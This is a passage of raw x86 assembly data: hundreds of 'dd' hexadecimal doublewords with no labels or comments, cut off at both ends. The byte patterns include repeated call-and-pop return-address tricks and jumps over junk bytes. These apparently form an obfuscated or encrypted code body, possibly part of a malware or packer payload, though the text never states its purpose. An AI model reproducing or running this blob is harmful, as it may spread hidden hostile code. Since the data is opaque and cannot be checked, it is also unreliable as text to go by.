0B9519D8Dh, 0D3FF07E2h, 0EF81585Bh, 11F67F6Ch dd 0BE8h, 0DD9BAD00h, 8C7BA9D0h, 0F82A467Dh, 0B3D99EB9h dd 0C08B5937h, 30718D29h, 85C607E0h, 7E00759h, 71B58953h dd 6807E005h, 99395F90h, 14E9h, 0A48CC00h, 0B2C51CA6h dd 0B87043F0h, 4518081Bh, 23E42FF4h, 0ECC8BF3Bh, 0B5FF1F3Ch dd 7E02F01h, 5820F60h, 0BE000000h, 1B487368h, 153D8531h dd 8D6107E0h, 0E039F885h, 68D0F07h, 89000000h, 0E0123595h dd 6AD0FF07h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 786DC350h, 0E9A3D097h, 10h, 5ED8012Eh dd 0F65BF7E6h, 0F8546E8Ch, 8D1CEEC6h, 20918589h, 6E807E0h dd 53000000h, 744705D5h, 59FA8B16h, 75985C6h, 6A5707E0h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 8169C353h, 0BD9798F1h, 52066876h, 0B5FF9004h dd 7E02F01h, 0AC9A76BAh, 0F8858D77h, 0E907E039h, 5, 0AB4E81AAh dd 89D0FFBEh, 0E01C998Dh, 89858907h, 6607E033h, 6A3EE981h dd 2118D0Bh, 85C607E0h, 7E00759h, 2DB52943h, 0BA07E007h dd 3803C7A3h, 90702868h, 53006ABCh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 715C6AC5h, 1B5FF91h, 6A07E02Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 493EC351h, 64E5D2CCh, 9E4910B7h, 3C0AF8BFh dd 0F8858D78h, 6A07E039h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 993C357h, 0E99589D6h dd 8B07E018h, 0E02CE9BDh, 66D0FF07h, 1AE9D181h, 1AA58589h dd 0F5007E0h, 118Eh, 0CE900h, 0C2270000h, 0C5A7A984h, 2162AFABh dd 8059B2B8h, 85C63ADDh, 7E00759h, 1CE9684Ch, 0B5FFD9DAh dd 7E02F01h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0CAC35141h, 0ADB25049h, 3D6CDEFh, 0F8858D61h, 8107E039h dd 65164ECFh, 0FCD0FF1Ah, 1F6D8589h, 0D1BF07E0h, 0C66FF67Dh dd 0E0075985h, 6A4607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0DE630AC3h, 0E9B783ADh, 858B6039h dd 7E01555h, 93D08166h, 146861AAh, 51BADE06h, 8F95EF81h dd 0FF5A7105h, 0E02F01B5h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 65BDE20Ah dd 89FD5BD4h, 0E008D99Dh, 0F8858D07h, 0E807E039h, 14h dd 861B7E33h, 8AC94537h, 0A7CC8CBCh, 988C488Eh, 471AB9EBh dd 2EDD958Bh, 0FF5A07E0h, 14E9D0h, 96CD0000h, 2411AC9Bh dd 0AF8D8CBh, 881DDDF6h, 56A7246Dh, 85899B36h, 7E02F25h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BFC35343h dd 80AB73E3h, 85C6A3C9h, 7E00759h, 0C1B58947h, 6807E033h dd 8A0FB5E2h, 22798D8Bh, 806007E0h, 61F557DCh, 2F01B5FFh dd 0B8BA07E0h, 8D4280E2h, 0E039F885h, 0FF69B507h, 11E9D0h dd 85470000h, 0F317A822h, 594C80Dh, 5AD88D20h, 8959B6B7h dd 0E01D0585h, 898D8B07h, 0C607E011h, 0E0075985h, 0E9F54707h dd 6, 6665D00h, 0F368B966h, 6083D0B5h, 20B1B589h, 8A0F07E0h dd 6, 29F9BD03h, 0FF6107E0h, 0E02F01B5h, 0F59D8907h, 8D07E024h dd 0E039F885h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 5CAD2131h, 0BAD0FF82h dd 7480605Ah, 1B8D8589h, 6A07E0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 250255C3h, 19C7F25Ah dd 0E95CD5F8h, 7, 33D997F7h, 0FDA6740h, 198Ah, 14E900h dd 0DFB00000h, 88BDD70Ch, 657B308Dh, 0C9D66382h, 93D529E5h dd 85C6EC66h, 7E00759h, 6880F77h, 0B000000h, 0E02679BDh dd 0A8A36807h, 0FFF9F397h, 0E03085B5h, 1830F07h, 0F5000000h dd 0AE9h, 82AA2300h, 0AF0A4342h, 8D194F0Bh, 0E039F885h dd 0E59D2907h, 0FF07E02Ah, 56006AD0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0A4E8C164h dd 0F957C6E3h, 958B1307h, 7E02B75h, 19D1BD8Bh, 858907E0h dd 7E01881h, 0CE8h, 4BE88E00h, 0A339D52Fh, 0A0910E2Ch dd 9E86Bh, 0A9360000h, 6A2BA051h, 66AA8282h, 5A0ED9B9h dd 5985C65Fh, 4707E007h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 88C35646h, 0F668DAF8h, 6A8728FAh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0A449C352h, 1B5FF72h, 5307E02Fh, 3C1CABB9h, 858D5F18h dd 7E039F8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0C35040h, 0ED5502A5h, 0FDBD2360h, 0FF07E02Fh, 51006AD0h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0D68B5634h, 18A0F59h, 0F9000000h, 289D8589h, 0BD8B07E0h dd 7E03251h, 75985C6h, 0E94307E0h, 10h, 4F231846h, 0BC7F6321h dd 0A67417D3h, 0F2806756h, 8E6EFC68h, 5DE980BCh, 2F01B5FFh dd 0BD8907E0h, 7E01435h, 39F8858Dh, 0BD8907E0h, 7E02D5Dh dd 0ABFD0FFh, 8924DC34h, 0E02E4985h, 5952907h, 0C607E020h dd 0E0075985h, 6A4507h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0B59EC0C3h, 2C9A4FB6h, 8D8B68B7h dd 7E026D9h, 72696968h, 0E1BD2B8Eh, 8B07E01Ch, 0E0255D95h dd 1B5FF07h, 2907E02Fh, 0E008FD8Dh, 0F8858D07h, 0F07E039h dd 484h, 0FDB15100h, 0FD0FF59h, 8B66FBBFh, 0FD8589D7h dd 0E907E028h, 0Dh, 8DA67D2Ch, 0FFB9F68Eh, 0F1FBA6C3h dd 5985C620h, 4407E007h, 1D399589h, 646807E0h, 80B8F2ECh dd 0B5FFC6D6h, 7E02F01h, 0E0B4BA66h, 39F8858Dh, 9D8907E0h dd 7E03445h, 8D8BD0FFh, 7E0227Dh, 1EB98589h, 0FE807E0h dd 82000000h, 9E79EA2h, 0AE23992h, 29F53BC8h, 1595485h dd 0E02D419Dh, 5985C607h, 4307E007h, 1A5BD8Bh, 0BD8B07E0h dd 7E0058Dh, 764AA768h, 1B5FFC0h, 6A07E02Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0A8D2C356h, 858D9AA7h, 7E039F8h, 6E9h, 11187400h, 0FFF3CED8h dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 89AB8A7Eh, 0E001B985h, 0BD80FC07h, 7E309C5h dd 0C7840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 544DC357h, 1E8D7D1h dd 0E013799Dh, 598D8B07h, 8D07E02Eh, 0E309A785h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 8CBFC48Fh, 0EAE540C1h, 2AA9BD09h, 895007E0h, 0E01BFD95h dd 60016A07h, 89F28B66h, 0E03371BDh dd 6A6107h, 0BE950h, 16FF0000h, 0C523EE97h, 59A77D5Fh dd 66605A71h, 0BE66F28Bh, 6A615E41h, 1958B00h, 0FF07E002h dd 0E01AA595h, 0DFD5BF07h, 95896617h, 7E00849h, 1C018589h dd 0B70F07E0h, 81FF6AC8h, 942584D1h, 1B5FF75h, 0B107E01Ch dd 8995FF84h, 0F07E033h, 0C08BFAB7h, 35C78166h, 0B1BD8389h dd 7E006h, 0BD830975h, 7E001C5h, 50197400h, 0B8C08B53h dd 7D1h, 20F58589h, 9D8D07E0h, 7E2BC62h, 585BD3FFh, 1C5BD83h dd 740007E0h, 0B8535017h, 7D1h, 20F58589h, 9D8D07E0h, 7E2B951h dd 585BD3FFh, 5AC88B56h, 30818D89h, 0C08B07E0h, 1F840Fh dd 13E80000h, 0F7000000h, 1E2D6DF3h, 0A5D3C0Ah, 0CD1DBB9h dd 7F4C0E01h, 0BD33392Fh, 7E01D01h, 5985C659h, 4707E007h dd 8E9h, 72452600h, 19BDEEE9h, 0F7C168F6h, 6A93C8h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 61676DC3h, 0C3754C6Ch, 21B58994h, 0FF07E01Ah, 0E02F01B5h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8D8DE8B0h, 0E039F885h, 5810F07h, 0BA000000h dd 4C033218h, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 5010EBC3h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0BFC35545h, 815DCA7Bh, 0C49F13EFh dd 9E93Ch, 8450000h, 9F21B312h, 8D3D5A9Eh, 0E30DE885h dd 0FE807h, 4A1A0000h, 0BEAEB108h, 62A8E747h, 9EBB5C54h dd 0D58D891Eh, 5F07E007h, 9400C7h, 58FC0000h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 3EC35545h, 0F9581BE8h dd 3BBA9A12h, 8D57AE8Dh, 0E30DE8B5h, 0ABBF6607h, 0D48A5667h dd 958BD0FFh, 7E015A1h, 0DE8858Dh, 6A07E3h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 17167FC3h dd 10E960A1h, 8D000000h, 5DCE9A61h, 33F7CE14h, 6DBFEBA6h dd 0F8D8641h, 689h, 0D9852B00h, 6107E033h, 78831CB2h, 850F0604h dd 4Ch, 11E9h, 0CDC76600h, 21D9953Eh, 1DE5C5h, 0A73991B9h dd 0DE941D5h, 0BF000000h, 0F5C531E0h, 7A687013h, 342B2AABh dd 0E7C85C7h, 107E3h, 0EE80000h, 0F000000h, 80CE475Fh dd 0A4742D13h, 0D1F4377Fh, 0BDB52977h, 5A07E021h, 2D6DBD83h dd 0F0007E0h, 6085h, 7CBD8300h, 7E30Eh, 53850Fh, 85890000h dd 7E0090Dh, 1CA9BD83h, 0F0007E0h, 4084h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 14F31061h, 0E985DCF4h, 0CF8AB3FFh, 226985C7h, 7E0h dd 0AE90000h, 83000000h, 9A56C3EFh, 0D02FE09Dh, 0DB8C66EBh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0DC35646h dd 9D894C79h, 7E02D35h, 23758D8Bh, 0C3F607E0h, 0F8840F04h dd 66000004h, 698AD781h, 16B185C7h, 7E0h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BD8071C3h, 7E309D2h, 1850F00h, 0FC000000h, 75985C6h dd 6A4707E0h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 3A2AC351h, 3A66391Eh, 0B65D66A2h dd 5B8668F1h, 0B5FFE3E4h, 7E02F01h, 3455BD8Bh, 858D07E0h dd 7E039F8h, 0E9606CB2h, 5, 0BDD70CDFh, 61FDB188h, 68FCD0FFh dd 104h, 6676CA80h, 1707F781h, 0E2D9D8Dh, 0BD2307E0h, 7E000C5h dd 21BD8B53h, 0FF07E012h, 68B0FD0h, 0B000000h, 0E01B9195h dd 2D858D07h, 6A07E00Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 11C8C352h, 0DF8A2A28h dd 0D2B70F26h, 0D18B6651h, 6A505Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 850932C3h dd 7E019A5h, 0FE9h, 990E4400h, 0F6A69413h, 37F4ED61h, 6F3260D3h dd 984858Dh, 0BA6607E3h, 6A509252h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0A890C356h dd 0E18166F5h, 858DDEADh, 7E30057h, 6800Fh, 0BD8B0000h dd 7E02AA9h, 50F9BF0Fh, 4820Fh, 0B9660000h, 95FFB2E1h dd 7E01881h, 835AF852h, 6A0CC4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 77F0C6C3h, 3A957964h dd 6A9AFFh, 8068h, 6A036A00h, 68006A00h, 80000000h, 57858Dh dd 0FF5007E3h, 0E02E4995h, 67858907h, 0C607E309h, 0E0075985h dd 87684707h, 0FFC7B15Eh, 0E02F01B5h, 0F8858D07h, 0FF07E039h dd 0FF006AD0h, 0E30967B5h, 0B6D0FF07h, 3DD78AD1h, 37D0h dd 33830Fh, 0BD8B0000h, 7E020F9h, 967B5FFh, 0BD3307E3h dd 7E00819h, 1B995FFh, 8D8B07E0h, 7E025B9h, 0A4E9h, 9606000h dd 0E0241DBDh, 959D8907h, 6107E023h, 67B5FF61h, 0E907E309h dd 8, 0BE679452h, 920742DEh, 1B995FFh, 9D2907E0h, 7E01E65h dd 0BD89006Ah, 7E01DADh, 6AFC006Ah, 0D58A5700h, 6A006A5Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0F14EC356h, 0BD8BB41Dh, 7E01E81h, 1375B531h dd 6A07E0h, 8D8B006Ah, 7E019E1h, 96B858Dh, 816607E3h, 50D938CAh dd 1CAD958Bh, 95FF07E0h, 7E02E49h, 10B18D09h, 0F88307E0h dd 8C850FFFh, 81000001h, 458E54D9h, 0DE858D7Bh, 0F07E2BFh dd 680h, 0B1852900h, 5707E001h, 58D8Bh, 0FF5A07E0h, 52006AD0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 420FF65Ch, 81624F0Eh, 0BBEA8166h, 81006AF7h, 0E6075BD1h dd 0D58D8922h, 6A07E010h, 19958B00h, 0F07E00Bh, 686h, 55BD8B00h dd 6A07E031h, 0D68B6600h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 598054C3h, 958BA8B4h dd 7E0135Dh, 66CBBF0Fh, 0D7C7E781h, 8A56006Ah, 8D0B5AF0h dd 7E033E5h, 0B70F006Ah, 6B858DD6h, 8907E309h, 0E0138D8Dh dd 6A5007h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 48683EC3h, 428156h, 24F59531h, 95FF07E0h dd 7E02E49h, 68E0Fh, 9D890000h, 7E01219h, 0FFFF883h, 8A85h dd 0B58DF900h, 7E30373h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 4AC35343h, 812AB560h, 4160ACE7h, 858D6158h dd 7E2AE58h, 6E9h, 500EDD00h, 0FF90B481h, 57006AD0h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 6B7E0365h, 0DFA56721h, 79B501EBh, 8907E01Fh, 0E01371BDh dd 0F006A07h, 682h, 0AEDA8100h, 0FF65E49Bh, 0E028FD95h dd 898D8907h, 8907E000h, 0E3096785h, 61958B07h, 6A07E01Bh dd 8D67B600h, 0E3095F85h, 0D9858907h, 5007E00Fh, 1A29BD29h dd 46A07E0h, 23018589h, 858D07E0h, 7E02A89h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 65C35343h, 0C5E47935h dd 1DCF310Ah, 4A59D89h, 0B65007E0h, 65B50917h, 6A07E012h dd 0B6EF8100h dd 6A5D3F5Dh, 558D8900h, 6A07E008h, 67B5FF01h, 0E907E309h dd 0Bh, 8964C7D7h, 6D66F2D3h, 0FF883442h, 0E01EB995h, 9E907h dd 0E1760000h, 97B143BFh, 0E996F2A3h, 1BD5h, 1DADB589h dd 816607E0h, 8BA0FFDAh, 0B18D8BC0h, 8307E026h, 0E006B1BDh dd 9750007h, 1C5BD83h, 740007E0h, 8B535019h, 7D2B8C0h dd 85890000h, 7E020F5h, 0BC629D8Dh, 0D3FF07E2h, 0BD83585Bh dd 7E001C5h, 50177400h, 7D2B853h, 85890000h, 7E020F5h dd 0B9519D8Dh, 0D3FF07E2h, 0CF8B585Bh, 0BF0FC08Bh, 0B185C7D2h dd 107E016h, 52000000h, 5F58D980h, 0E4E7B868h, 71B5FFCEh dd 8D07E01Bh, 0E039F885h, 89D0FF07h, 0E0089185h, 0C3858D07h dd 5007E30Bh, 0E80858Dh, 685007E3h, 80000001h, 89195FFh dd 0C00B07E0h, 85C70A75h, 7E00FCDh, 1, 5DBD468h, 71B5FFC0h dd 8D07E01Bh, 0E039F885h, 89D0FF07h, 0E022FD85h, 10858D07h dd 5007E2FEh, 2F01B5FFh, 95FF07E0h, 7E01D05h, 0B74C00Bh dd 858DD88Bh, 7E30DC3h, 8DD3FF50h, 0E30DC385h, 38836607h dd 0C70A7509h, 0E0056985h, 107h, 9D95FF00h, 2507E028h dd 0FFh, 7305F883h, 0B585C70Ah, 107E023h, 80000000h, 9D8908C9h dd 7E02535h, 9D2BD80h, 0F0007E3h, 2384h, 83C88B00h, 0E30E7CBDh dd 840F0007h, 2Ah, 0FE9h, 0BDFF1300h, 7954D520h, 9041CF25h dd 81207C2h, 1A78E9h, 5E800h, 0B8AB0000h, 89C9E88Ch, 0E01AD5BDh dd 0BD835A07h, 7E00569h, 0FF850F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 565CC356h, 0BD8B8D0Dh, 7E0162Dh, 201BD89h, 858D07E0h dd 7E3099Ch, 8B503BB2h, 6A016AFEh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 8CD8C356h dd 0C283E288h, 896063C8h, 0E0020185h, 0CAEB8107h, 615B660Eh dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 5C4285C3h, 0B4120E9h, 0E025118Dh, 66006A07h dd 95FFCE8Bh, 7E01AA5h, 13B58D33h, 858907E0h, 7E309C6h dd 0DE9h, 970B5700h, 367A758Dh, 7B59C117h, 0FF6A42DCh dd 11E9h, 641AC400h, 791659B2h, 0B8117847h, 9B42EA02h dd 0B5FF9CB8h, 7E309C6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0F6C35343h, 95FF11E7h, 7E03389h, 858D73B6h dd 7E2FDD7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0AFC35646h, 0CA892D06h, 89CE8B13h, 0E0157985h dd 6A5007h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0EB63ADC3h, 0A36B7DAh, 5E9h, 3F200700h, 95FFD13Ah dd 7E01F6Dh, 24359589h, 0D68007E0h, 618589ACh, 8B07E2FEh dd 0E026758Dh, 0E4858D07h, 8907E2FDh, 0E023A5B5h, 0CE95007h dd 40000000h, 0A7FDD57Bh, 0DB0CA3D9h, 0FFE15C7Ah, 0E2FE61B5h dd 89BD8907h, 0FF07E010h, 0E01D0595h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 7E5E2060h, 40D5B966h, 16758589h, 6A07E0h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 15DBBDC3h dd 5CCCD363h, 342D9529h, 858D07E0h, 7E2FE52h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4AC35040h, 191996CBh dd 81A2F54Ah, 0EEE937E2h, 0B5FF5038h, 7E2FE61h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 65C35040h, 2A931940h dd 800823C3h, 95FF1BE5h, 7E01D05h, 0B23BE281h, 85892A29h dd 7E2FE75h, 19458D33h, 858D07E0h, 7E2FE31h, 39EA8166h dd 0EF81509Ch, 792C9A4Bh, 0FE61B5FFh, 0BD0B07E2h, 7E01A9Dh dd 1D0595FFh, 0D28007E0h, 6D85890Fh, 0F07E2FEh, 858DD1B7h dd 7E2FE24h, 1D1D9D29h, 515007E0h, 2DC19D89h, 0F5A07E0h dd 0B5FFCFB7h, 7E2FE61h, 0AA5AF781h, 8D8B5558h, 7E03165h dd 1D0595FFh, 858907E0h, 7E01689h, 0FE718589h, 0B70F07E2h dd 3F858DCEh, 6A07E2FEh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0DC46C355h, 12E8h dd 160E6B00h, 0DA41B950h, 1B2CBE45h, 11729D8Ch, 8AE1DD72h dd 0EE95AD5h, 0CC000000h, 0F2989D42h, 0D2A0228Dh, 60E99C91h dd 0D78A50E8h, 0FE61B5FFh, 8B6007E2h, 18850FFAh, 0E8000000h dd 12h, 9E127515h, 1C718157h, 68E6399Eh, 0FE932D80h, 615E8C49h dd 1D0595FFh, 0D58007E0h, 7D8589CDh, 0F07E026h, 858DD3BFh dd 7E2FDF3h, 26B1B589h, 958B07E0h, 7E01C75h, 56006A50h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 89813F8Dh, 0BD17D2F6h, 0FE61B5FFh, 0EA8107E2h, 21B2CAB0h dd 1D0595FFh, 0CF8A07E0h, 0FE658589h, 8B6607E2h, 2858DF8h dd 8107E2FEh, 0F5969EFh, 6A5039h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 0FC3FB0C3h, 0FE61B5FFh dd 9E807E2h, 83000000h, 62BCA0ECh, 1AE1EB60h, 5F5F5052h dd 595FF59h, 8B07E01Dh, 0E005B18Dh, 69858907h, 8B07E2FEh dd 0E013718Dh, 1046807h, 0B9660000h, 858DA9F0h, 7E2FEF9h dd 880Fh, 0BF660000h, 0F501220h, 683h, 75B58900h, 8D07E006h dd 0E2FFFD85h, 0CE8B6607h, 0B18D8950h, 0FF07E030h, 0E01B8D95h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0F238137Dh, 810F566Dh, 6, 2AA98D8Bh, 0C08507E0h dd 6850Fh, 958B0000h, 7E02FFDh, 9D2BD80h, 0F0007E3h, 1B85h dd 0FE900h, 0C4020000h, 66242600h, 0EE9716FFh, 7D5FC523h dd 15A7E9A7h, 5A520000h, 569BD83h, 0F0007E0h, 3585h, 15810F00h dd 0E9000000h, 10h, 0DCD24DCAh, 8E85AB8Bh, 0F69C487Eh dd 0A243DA4Fh, 0E7CBD83h, 0F0007E3h, 4884h, 0E2816600h dd 2952D85Ah, 0E030D185h, 858D5907h, 7E2FE96h, 0DEE98166h dd 1553E9C3h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0FC1024C3h, 0FE90755h, 8B000000h dd 0E0308195h, 81858D07h, 8007E2FEh, 89502FD5h, 0E031DD95h dd 858DF507h, 7E2FEF9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 1CC35545h, 18057CA1h, 958B6798h, 7E01B81h dd 0F88B6650h, 569BD83h, 0F0007E0h, 1A84h, 918D8B00h, 8D07E021h dd 0E3001F85h, 0CFBF0F07h, 10E9h, 0B5BD2900h, 8D07E02Fh dd 0E3000885h, 16B96607h, 8D8B50B5h, 7E004D1h, 57858DF9h dd 907E300h, 0E0069D85h, 0BD295007h, 7E01D1Dh, 188195FFh dd 0EF8107E0h, 4CBCF3E6h, 19399529h, 0C48307E0h, 81665310h dd 5F58B3CFh, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 61DFFBC3h, 0D8111874h, 0B1BD83F8h dd 7E006h, 0BD830975h, 7E001C5h, 50197400h, 0B8C08B53h dd 7D3h, 20F58589h, 9D8D07E0h, 7E2BC62h, 585BD3FFh, 1C5BD83h dd 740007E0h, 0B8535017h, 7D3h, 20F58589h, 9D8D07E0h, 7E2B951h dd 585BD3FFh, 0F8BF86B1h, 8B2C00D8h, 0BD8509C0h, 8107E025h dd 0E2FE81BDh, 65726F07h, 8A840F61h, 81000000h, 0A24906D1h dd 0F9858D51h, 5007E2FEh, 36858Dh, 8D5007E3h, 0E3005785h dd 95FF5007h, 7E01881h, 0C60CC483h, 0E0075985h, 4F684407h dd 0FF96A318h, 0E02F01B5h, 0F8858D07h, 0FF07E039h, 8DD88BD0h dd 0E3005785h, 0D3FF5007h, 0FE81858Dh, 8D5007E2h, 0E2FEF985h dd 0BD835007h, 7E00569h, 8D087400h, 0E3001F85h, 8D06EB07h dd 0E3000885h, 858D5007h, 7E30057h, 8195FF50h, 8307E018h dd 8B910C4h, 294DB731h, 0E007BD95h, 9D95FF07h, 6607E028h dd 2538E6BAh, 0FFh, 2AA99501h, 0F88307E0h, 52830F05h, 52000000h dd 61BD8B50h, 5907E018h, 0B585C75Fh, 107E023h, 8D000000h dd 0E2FEB585h, 958B5007h, 7E033ADh, 0B529515Fh, 7E01D71h dd 9AE95Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 31A08AC3h, 0E0106D85h, 69BD8307h dd 7E005h, 60840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 930F4DC3h, 2F6E49C0h dd 8B6F56BEh, 0E0858DFBh, 6A07E2FEh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F5ECC353h dd 4DC18134h, 893C1DC3h, 0E0123585h, 0EE907h, 0BA660000h dd 858D6143h, 7E2FEC2h, 7519BA66h, 0FEF58589h, 0BF6607E2h dd 0BD83A8EEh, 7E00569h, 2B850F00h, 60000000h, 5E9h, 68B08200h dd 0B58B82BAh, 7E00775h, 2DBD8B61h, 8307E016h, 0E30E7CBDh dd 840F0007h, 11h, 2DE59D89h, 36E907E0h, 89000012h, 0E01595BDh dd 4D2E907h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0DF577CC3h, 7FEDFAADh, 899D4BC6h dd 0E02AB9BDh, 0FC08B07h, 68Dh, 0ADBD8900h, 8307E016h dd 0E006B1BDh, 9750007h, 1C5BD83h, 740007E0h, 8B535019h dd 7D4B8C0h, 85890000h, 7E020F5h, 0BC629D8Dh, 0D3FF07E2h dd 0BD83585Bh, 7E001C5h, 50177400h, 7D4B853h, 85890000h dd 7E020F5h, 0B9519D8Dh, 0D3FF07E2h, 0E980585Bh, 8BC08B83h dd 0E0340D95h, 3F6807h, 6A000Fh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0E46CD9C3h, 8D2387CEh dd 7E00475h, 39BA006Ah, 6A6B2087h, 0CD958B00h, 0FF07E011h dd 0E0167595h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0F51C916h, 68Ch, 0A59D2900h dd 5907E014h, 850FC085h, 1, 798589F8h, 6A07E2FEh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0B689C356h, 2F3846ABh, 6E95D58h, 66000000h, 0FDBF7BF2h dd 9E999h, 0ABC70000h, 15EEF1A1h, 6AFF46B8h, 0E1B52900h dd 6A07E008h, 8B006A00h, 0E017C9BDh, 0E9006A07h, 0Ah, 0E7AA5693h dd 7B7A9895h, 6AAF67h, 30BD8D2Bh, 830F07E0h, 6, 201DBD8Bh dd 858D07E0h, 7E30057h, 18C98589h, 8D8B07E0h, 7E01C51h dd 50006A50h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 81663A57h, 6A28A0C1h, 0B5958B01h, 8007E02Dh dd 16A71D6h, 11E9h, 0EF120C00h, 0B0BB8E38h, 8B7524CBh dd 41893242h, 16A950Ah, 0F166E981h, 8166180Fh, 6844EDCAh dd 0F01FFh, 69D9529h, 0ED8007E0h, 69BD831Eh, 7E005h, 42840Fh dd 858D0000h, 7E2FED6h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 26C35646h, 0E9F40DC7h, 9, 0E0126F03h dd 3FCDCE0Ah, 1D9D89C1h, 0E907E020h, 0Fh, 0A746B966h, 0FEAC858Dh dd 816607E2h, 508C14E1h, 1951BD89h, 565007E0h, 59CE8B66h dd 0FE79B5FFh, 9D8907E2h, 7E020EDh, 0FE6595FFh, 0D28007E2h dd 0FC08595h, 4D85h, 89F96000h, 0E022A58Dh, 0C8E96107h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 8FA4C350h, 5D590BB1h, 13E960C5h dd 0 dd 0C6533CC0h, 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh, 8B666A45h dd 858961FBh, 7E2FE7Dh, 7DB53160h, 0BE07E025h, 4576CA95h dd 7DB5FF61h, 6A07E2FEh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 